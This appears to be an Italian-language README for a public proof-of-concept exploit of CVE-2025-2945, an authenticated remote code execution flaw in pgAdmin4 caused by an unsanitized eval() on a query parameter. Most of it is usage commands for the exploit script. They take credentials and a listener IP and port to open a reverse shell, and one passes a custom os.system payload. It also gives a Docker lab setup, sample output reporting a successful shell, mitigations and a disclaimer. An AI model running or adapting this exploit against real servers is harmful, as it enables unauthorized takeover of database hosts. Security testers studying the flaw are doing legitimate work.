
Exploit per la vulnerabilità di esecuzione remota di codice (RCE) in pgAdmin4 che interessa le versioni dalla 8.10 alla 9.1.
Autore: G0D150NE
Versione: 2.0.0
CVE: CVE-2025-2945
Gravità: Critica (CVSS 9.9)
Exploit per la vulnerabilità di Remote Code Execution (RCE) in pgAdmin4 che interessa le versioni dalla 8.10 alla 9.1.
La vulnerabilità è presente nell'endpoint /sqleditor/query_tool/download, dove il parametro query_commited viene passato senza sanitizzazione alla funzione eval() di Python, consentendo l'esecuzione di codice arbitrario.
# Clona o scarica lo script
git clone https://github.com/g0d150ne/CVE-2025-2945
cd CVE-2025-2945
# Installa le dipendenze
pip install requests
Utilizzo di base
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
Con output verboso
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
-v
Payload personalizzato
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--custom-payload "__import__('os').system('whoami > /tmp/test.txt')"
Salta il controllo della versione
python3 poc.py \
--target-url http://target:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444 \
--skip-version-check
Argomento Obbligatorio Descrizione --target-url Sì URL di base di pgAdmin4 (http://RHOST:PORT/) --username Sì Email di accesso a pgAdmin4 --password Sì Password di accesso a pgAdmin4 --db-user Sì Nome utente del database --db-pass Sì Password del database --db-name Sì Nome del database --Rhost Sì IP del listener per la reverse shell --Rport Sì Porta del listener per la reverse shell --max-server-id No ID server massimo da scansionare (default: 10) --skip-version-check No Salta la verifica della versione --custom-payload No Payload Python personalizzato --verbose, -v No Abilita l'output di debug --no-banner No Nascondi il banner
· Python 3.6+ · libreria requests
pip install requests
# Docker con versione vulnerabile di pgAdmin
docker run -d -p 5050:5050 \
-e [email protected] \
-e PGADMIN_DEFAULT_PASSWORD=admin123 \
dpage/pgadmin4:8.10
# Poi esegui l'exploit
python3 poc.py \
--target-url http://localhost:5050 \
--username [email protected] \
--password admin123 \
--db-user postgres \
--db-pass postgres \
--db-name postgres \
--Rhost 10.10.14.7 \
--Rport 4444
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌
▀▀▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌▐░▌
▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌▐░▌
▄▄▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
CVE-2025-2945 - pgAdmin4 Authenticated RCE
Author: G0D150NE
Version: 2.0.0
[*] Target running vulnerable version 8.10
[*] Authenticating as [email protected]...
[+] Authentication successful
[*] Scanning for valid server (SGID: 7, max: 10)...
[+] Found valid server (SGID: 7, SID: 1)
[*] Initializing SQL editor (trans_id: 4827193)...
[+] SQL editor initialized
[*] Reverse shell payload to 10.10.14.7:4444
[*] Sending payload...
[+] Payload delivered (HTTP 500)
[*] Check listener at your endpoint
[+] Exploit successful!
[*] Check reverse shell on 10.10.14.7:4444
· Aggiorna pgAdmin4 alla versione 9.2 o superiore · Limita l'accesso all'interfaccia di pgAdmin · Utilizza credenziali forti · Abilita MFA se disponibile
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'utilizzo su sistemi senza autorizzazione esplicita è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
· CVE-2025-2945 · Avviso di sicurezza pgAdmin
Licenza MIT